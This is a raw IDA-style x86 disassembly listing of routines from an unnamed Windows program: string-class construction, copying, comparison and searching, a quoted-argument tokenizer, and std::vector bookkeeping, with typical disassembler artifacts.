; CODE XREF: sub_409AE0+11j retn sub_409AE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B10 proc near ; CODE XREF: sub_401988j arg_0 = dword ptr 4 mov al, byte_44915A push esi test al, al mov esi, ecx jz short loc_409B46 push edi call near ptr 28217C7h nop mov edi, dword_5118CC push 0FFFFFFF5h call edi push 0FFFFFFF4h mov [esi], eax call edi mov [esi+4], eax mov eax, [esp+8+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], eax pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_409B46: ; CODE XREF: sub_409B10+Aj mov ecx, [esp+4+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], ecx pop esi retn 4 sub_409B10 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B80 proc near ; CODE XREF: sub_401CEEj mov al, byte_44915A push esi test al, al mov esi, ecx jz short loc_409B9F nop call near ptr 2821B13h mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0FFFFFFFFh loc_409B9F: ; CODE XREF: sub_409B80+Aj mov byte ptr [esi+8], 0 pop esi retn sub_409B80 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409BC0 proc near ; CODE XREF: sub_40142Ej mov eax, ecx xor ecx, ecx mov dword ptr [eax], offset off_43F010 mov [eax+9], ecx mov [eax+11h], ecx mov [eax+4], cl mov [eax+0Dh], ecx retn sub_409BC0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409BF0: ; CODE XREF: ___:00402081j ; ___:loc_40218Fj push esi mov esi, ecx call sub_401226 test byte ptr [esp+8], 1 jz short loc_409C08 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C08: ; CODE XREF: ___:00409BFDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C20 proc near ; CODE XREF: sub_401870j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43F010 mov [esi+9], ebx mov [esi+11h], ebx call sub_4015E1 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409C20 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C60 proc near ; CODE XREF: sub_4014D3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43F010 mov [esi+9], ebx mov [esi+11h], ebx call sub_401FDC mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409C60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409CA0 proc near ; CODE XREF: sub_402112j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push ebx push esi mov esi, ecx push eax lea ecx, [esp+1Ch+var_10] push offset dword_4447F4 push ecx mov dword ptr [esi], offset off_43F010 nop call sub_5F76F7 add esp, 0Ch lea edx, [esp+18h+var_10] xor ebx, ebx mov ecx, esi push edx mov [esi+9], ebx mov [esi+11h], ebx call sub_4015E1 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx add esp, 10h retn 4 sub_409CA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D10 proc near ; CODE XREF: sub_401226j push esi mov esi, ecx push edi xor edi, edi mov eax, [esi+9] mov dword ptr [esi], offset off_43F010 cmp eax, edi jz short loc_409D2C push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D2C: ; CODE XREF: sub_409D10+11j mov eax, [esi+0Dh] mov [esi+9], edi cmp eax, edi jz short loc_409D3F push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D3F: ; CODE XREF: sub_409D10+24j mov [esi+0Dh], edi mov [esi+11h], edi pop edi pop esi retn sub_409D10 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D60 proc near ; CODE XREF: sub_4015E1j arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx test edi, edi jz short loc_409DCA or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+9] not ecx dec ecx test eax, eax mov ebp, ecx jz short loc_409D8A push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D8A: ; CODE XREF: sub_409D60+1Fj lea ebx, [ebp+2] push ebx call sub_437AEA ; --------------------------------------------------------------------------- db 8Bh dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch dd 51500956h, 0C9E89052h, 837783DCh db 0C4h, 0Ch ; --------------------------------------------------------------------------- loc_409DCA: ; CODE XREF: sub_409D60+Cj pop edi pop esi pop ebp pop ebx retn 4 sub_409D60 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E00 proc near ; CODE XREF: sub_401FDCj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015E1 pop esi retn 4 sub_409E00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409E30: ; CODE XREF: ___:00401A5Aj mov eax, [esp+4] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+8] push offset dword_4447F4 push ecx call sub_5F76F7 nop add esp, 0Ch lea edx, [esp+4] mov ecx, esi push edx call sub_4015E1 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E80 proc near ; CODE XREF: sub_401AAFj arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov ebx, ecx test edi, edi jz loc_409F12 or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [ebx+11h] not ecx dec ecx mov esi, ecx add esi, edi lea eax, [esi+1] push eax call sub_437AEA ; --------------------------------------------------------------------------- mov edi, [ebx+9] add esp, 4 test edi, edi mov ebp, eax jz short loc_409F12 or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+11h], esi repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov edi, [esp+10h+arg_0] or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov esi, edi mov edx, ecx mov edi, ebp or ecx, 0FFFFFFFFh repne scasb mov ecx, edx dec edi shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx+9] test eax, eax jz short loc_409F0F push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409F0F: ; CODE XREF: sub_409E80+84j mov [ebx+9], ebp loc_409F12: ; CODE XREF: sub_409E80+Cj ; sub_409E80+36j pop edi pop esi pop ebp pop ebx retn 4 sub_409E80 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F50 proc near ; CODE XREF: sub_4016C7j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_401AAF pop esi retn 4 sub_409F50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F80 proc near ; CODE XREF: sub_401140j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+18h+var_10] push offset dword_4447F4 push ecx call sub_5F76F7 nop add esp, 0Ch lea edx, [esp+14h+var_10] mov ecx, esi push edx call sub_401AAF pop esi add esp, 10h retn 4 sub_409F80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409FD0 proc near ; CODE XREF: sub_4012EEj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_409FE7 mov edx, [ecx+9] xor eax, eax test edx, edx setnz al pop esi retn 4 ; --------------------------------------------------------------------------- loc_409FE7: ; CODE XREF: sub_409FD0+7j mov eax, [ecx+9] push ebx loc_409FEB: ; CODE XREF: sub_409FD0+3Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_40A016 test cl, cl jz short loc_40A00F mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_40A016 add eax, 2 add esi, 2 test cl, cl jnz short loc_409FEB loc_40A00F: ; CODE XREF: sub_409FD0+27j pop ebx xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A016: ; CODE XREF: sub_409FD0+23j ; sub_409FD0+33j sbb eax, eax pop ebx sbb eax, 0FFFFFFFFh pop esi retn 4 sub_409FD0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A040 proc near ; CODE XREF: sub_401B86j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_40A040 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A070 proc near ; CODE XREF: sub_40150Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jnz short loc_40A083 mov edx, [ecx+9] test edx, edx setnz al retn 4 ; --------------------------------------------------------------------------- loc_40A083: ; CODE XREF: sub_40A070+6j push eax mov eax, [ecx+9] push eax nop call near ptr 77C4624Eh add esp, 8 retn 4 sub_40A070 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0B0 proc near ; CODE XREF: sub_4021D0j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_40A0B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0E0 proc near ; CODE XREF: sub_401CD0j push esi mov esi, ecx mov eax, [esi+9] test eax, eax jz short loc_40A0F3 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A0F3: ; CODE XREF: sub_40A0E0+8j mov dword ptr [esi+9], 0 pop esi retn sub_40A0E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A110 proc near ; CODE XREF: sub_40102Dj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_437B30 mov eax, [esp+arg_2004] test eax, eax jz short loc_40A152 lea ecx, [esp+arg_2008] lea edx, [esp+0] push ecx push eax push 2000h push edx call near ptr 77C3FF8Ah nop mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_4015E1 loc_40A152: ; CODE XREF: sub_40A110+13j add esp, 2000h retn sub_40A110 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A180 proc near ; CODE XREF: sub_401D34j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401316 retn 4 sub_40A180 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1A0 proc near ; CODE XREF: sub_401316j arg_0 = byte ptr 4 push ebx mov ebx, dword_511AEC push esi push edi movsx edi, [esp+0Ch+arg_0] mov esi, ecx push edi mov eax, [esi+9] push eax call ebx ; strchr add esp, 8 test eax, eax jnz short loc_40A1C4 pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A1C4: ; CODE XREF: sub_40A1A0+1Cj mov ecx, [esi+9] push edi push ecx call ebx ; strchr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A1A0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1F0 proc near ; CODE XREF: sub_4018B1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401816 retn 4 sub_40A1F0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A210 proc near ; CODE XREF: sub_401816j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_401389 push eax mov ecx, esi call sub_402135 pop esi retn 8 sub_40A210 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A240 proc near ; CODE XREF: sub_4013EDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402135 retn 4 sub_40A240 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A260 proc near ; CODE XREF: sub_402135j arg_0 = dword ptr 4 push ebx push esi push edi mov edi, [esp+0Ch+arg_0] test edi, edi mov esi, ecx jnz short loc_40A275 pop edi pop esi xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A275: ; CODE XREF: sub_40A260+Bj mov eax, [esi+9] mov ebx, dword_511B04 push edi push eax call ebx ; strstr add esp, 8 test eax, eax jnz short loc_40A28F pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A28F: ; CODE XREF: sub_40A260+27j mov ecx, [esi+9] push edi push ecx call ebx ; strstr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A260 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A2D0 proc near ; CODE XREF: sub_401C71j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx test edi, edi jnz short loc_40A2E3 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A2E3: ; CODE XREF: sub_40A2D0+Aj mov eax, [esi+9] mov [esi+11h], edi test eax, eax jz short loc_40A2F6 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A2F6: ; CODE XREF: sub_40A2D0+1Bj push ebx lea ebx, [edi+1] push ebx call sub_437AEA sub_40A2D0 endp ; --------------------------------------------------------------------------- mov ecx, ebx mov edi, eax mov edx, ecx xor eax, eax shr ecx, 2 mov [esi+9], edi add esp, 4 rep stosd mov ecx, edx pop ebx and ecx, 3 rep stosb mov eax, [esi+9] pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A350 proc near ; CODE XREF: sub_4013E3j mov eax, [ecx+11h] retn sub_40A350 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A370 proc near ; CODE XREF: sub_4012B2j var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A370 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebp mov ebp, [esp+30h+arg_8] push esi xor esi, esi cmp ebp, 1 mov [esp+34h+var_2C], ecx mov [esp+34h+var_28], esi jge short loc_40A3C2 mov esi, [esp+34h+arg_0] push offset byte_448F30 mov ecx, esi call sub_401870 mov eax, esi pop esi pop ebp mov ecx, [esp+2Ch+var_C] mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- loc_40A3C2: ; CODE XREF: sub_40A370+2Bj push ebx push edi lea ecx, [esp+3Ch+var_24] call sub_40142E mov [esp+3Ch+var_4], esi lea esi, [ebp+1] push esi call sub_437AEA sub_40A370 endp ; --------------------------------------------------------------------------- mov ecx, esi mov ebx, eax mov edx, ecx xor eax, eax mov edi, ebx add esp, 4 shr ecx, 2 rep stosd mov ecx, edx mov edx, [esp+44h] and ecx, 3 push ebx rep stosb mov eax, [esp+14h] mov ecx, ebp mov edi, ebx mov esi, [eax+9] add esi, edx mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+1Ch] call sub_4015E1 push ebx call sub_437AD2 ; --------------------------------------------------------------------------- mov esi, [esp+44h] add esp, 4 lea eax, [esp+18h] mov ecx, esi push eax call sub_4014D3 lea ecx, [esp+18h] call sub_401226 mov ecx, [esp+30h] pop edi mov eax, esi pop ebx pop esi pop ebp mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A4A0 proc near ; CODE XREF: sub_401E47j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi push edi mov esi, ecx mov [esp+0Ch+var_4], 0 call sub_4013E3 mov ecx, [esp+0Ch+arg_4] mov edi, [esp+0Ch+arg_0] sub eax, ecx push eax push ecx push edi mov ecx, esi call sub_4012B2 mov eax, edi pop edi pop esi pop ecx retn 8 sub_40A4A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A4E0: ; CODE XREF: ___:0040194Cj push ecx push esi mov esi, [esp+0Ch] push 1 mov ecx, esi mov dword ptr [esp+8], 0 call sub_402112 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A510 proc near ; CODE XREF: sub_4011EAj var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A510 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi mov edi, [esp+44h+arg_8] mov esi, ecx test edi, edi mov [esp+44h+var_38], 0 jnz short loc_40A551 mov esi, [esp+44h+arg_0] push offset byte_448F30 mov ecx, esi call sub_401870 jmp loc_40A684 ; --------------------------------------------------------------------------- loc_40A551: ; CODE XREF: sub_40A510+2Aj lea eax, [esp+44h+arg_8] lea ecx, [esp+44h+var_34] push eax call sub_40169A mov ecx, [esi+9] mov [esp+44h+var_4], 1 push ecx lea ecx, [esp+48h+var_24] call sub_401870 lea ecx, [esp+44h+var_24] mov byte ptr [esp+44h+var_4], 2 call sub_4014DD mov [esp+44h+var_3C], eax mov cl, [eax] test cl, cl jz loc_40A635 push ebx loc_40A591: ; CODE XREF: sub_40A510+11Ej mov dl, [edi] cmp cl, dl jnz short loc_40A5A0 loc_40A597: ; CODE XREF: sub_40A510+8Ej inc eax mov [esp+48h+var_3C], eax cmp [eax], dl jz short loc_40A597 loc_40A5A0: ; CODE XREF: sub_40A510+85j cmp byte ptr [eax], 22h setz bl test bl, bl jz short loc_40A5AF inc eax mov [esp+48h+var_3C], eax loc_40A5AF: ; CODE XREF: sub_40A510+98j lea edx, [esp+48h+var_3C] lea ecx, [esp+48h+var_34] push edx call sub_401997 mov eax, [esp+48h+var_3C] test bl, bl mov cl, [eax] jz short loc_40A5FF test cl, cl jz short loc_40A5E7 loc_40A5CB: ; CODE XREF: sub_40A510+D5j cmp cl, 22h jnz short loc_40A5DC mov cl, [eax+1] cmp cl, 20h jz short loc_40A5E7 test cl, cl jz short loc_40A5E7 loc_40A5DC: ; CODE XREF: sub_40A510+BEj inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A5CB loc_40A5E7: ; CODE XREF: sub_40A510+B9j ; sub_40A510+C6j ... cmp byte ptr [eax], 0 jz short loc_40A62A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] mov cl, [eax+1] test cl, cl jz short loc_40A62A add eax, 2 jmp short loc_40A626 ; --------------------------------------------------------------------------- loc_40A5FF: ; CODE XREF: sub_40A510+B5j test cl, cl jz short loc_40A614 mov dl, [edi] loc_40A605: ; CODE XREF: sub_40A510+102j cmp cl, dl jz short loc_40A614 inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A605 loc_40A614: ; CODE XREF: sub_40A510+F1j ; sub_40A510+F7j mov cl, [eax] test cl, cl jz short loc_40A62A cmp cl, [edi] jnz short loc_40A62A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] inc eax loc_40A626: ; CODE XREF: sub_40A510+EDj mov [esp+48h+var_3C], eax loc_40A62A: ; CODE XREF: sub_40A510+DAj ; sub_40A510+E8j ... mov cl, [eax] test cl, cl jnz loc_40A591 pop ebx loc_40A635: ; CODE XREF: sub_40A510+7Aj lea ecx, [esp+44h+var_34] call sub_4011F9 mov ecx, [esp+44h+arg_4] cmp ecx, eax jb short loc_40A64D push offset byte_448F30 jmp short loc_40A65A ; --------------------------------------------------------------------------- loc_40A64D: ; CODE XREF: sub_40A510+134j push ecx lea ecx, [esp+48h+var_34] call sub_401F82 mov eax, [eax] push eax loc_40A65A: ; CODE XREF: sub_40A510+13Bj mov esi, [esp+48h+arg_0] mov ecx, esi call sub_401870 lea ecx, [esp+44h+var_24] mov [esp+44h+var_38], 1 call sub_401226 lea ecx, [esp+44h+var_34] mov byte ptr [esp+44h+var_4], 0 call sub_401596 ; --------------------------------------------------------------------------- loc_40A684: ; CODE XREF: sub_40A510+3Cj mov ecx, [esp+44h+var_C] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_40A510 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A710 proc near ; CODE XREF: sub_4016B8j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx mov eax, [esp+4+arg_8] mov edx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push 0 push eax push edx push esi mov [esp+18h+var_4], 0 call sub_4011EA mov eax, esi pop esi pop ecx retn 0Ch sub_40A710 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A750 proc near ; CODE XREF: sub_40202Cj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015E1 pop esi retn 4 sub_40A750 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A780 proc near ; CODE XREF: sub_401A9Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015E1 retn 4 sub_40A780 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7A0 proc near ; CODE XREF: sub_401479j arg_0 = dword ptr 4 mov eax, [ecx+9] mov ecx, [esp+arg_0] add eax, ecx retn 4 sub_40A7A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A7C0: ; CODE XREF: ___:004014A6j mov eax, [ecx+9] mov ecx, [esp+4] add eax, ecx retn 4 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7E0 proc near ; CODE XREF: sub_401389j mov eax, [ecx+9] retn sub_40A7E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A800 proc near ; CODE XREF: sub_4017EEj mov eax, [ecx+9] retn sub_40A800 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A820 proc near ; CODE XREF: sub_4014DDj mov eax, [ecx+9] retn sub_40A820 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A840 proc near ; CODE XREF: sub_40169Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_40A840 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A870 proc near ; CODE XREF: sub_401596j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019B5 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF sub_40A870 endp ; --------------------------------------------------------------------------- xor eax, eax loc_40A898: ; DATA XREF: ___:00446534o ; ___:00446578o ... mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8C0 proc near ; CODE XREF: sub_4011F9j mov edx, [ecx+4] test edx, edx jnz short loc_40A8CA xor eax, eax retn ; --------------------------------------------------------------------------- loc_40A8CA: ; CODE XREF: sub_40A8C0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_40A8C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8F0 proc near ; CODE XREF: sub_401F82j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_4011F9 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_40A908 mov ecx, esi call sub_401F05 loc_40A908: ; CODE XREF: sub_40A8F0+Fj mov ecx, esi call sub_401D2F lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_40A8F0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A930 proc near ; CODE XREF: sub_401997j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401659 push eax mov ecx, esi call sub_4016F9 pop esi retn 4 sub_40A930 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A960 proc near ; CODE XREF: sub_401D2Fj mov eax, [ecx+4] retn sub_40A960 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A980 proc near ; CODE XREF: sub_401659j mov eax, [ecx+8] retn sub_40A980 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9A0 proc near ; CODE XREF: sub_4016F9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401D2F mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_4013D9 mov ecx, edi call sub_401D2F lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_40A9A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9F0 proc near ; CODE XREF: sub_4019B5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_40AA10 loc_40AA01: ; CODE XREF: sub_40A9F0+1Ej push esi mov ecx, edi call sub_4018C0 add esi, 4 cmp esi, ebx jnz short loc_40AA01 loc_40AA10: ; CODE XREF: sub_40A9F0+Fj pop edi pop esi pop ebx retn 8 sub_40A9F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AA30: ; CODE XREF: sub_401F05j push 0FFFFFFFFh push offset loc_439DB9 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3] lea ecx, [esp+4] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" nop call near ptr 76081F67h lea ecx, [esp+4] mov dword ptr [esp+38h], 0 push ecx lea ecx, [esp+18h] nop call near ptr 760A0430h lea edx, [esp+14h] push offset dword_440088 push edx call sub_437B22 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; 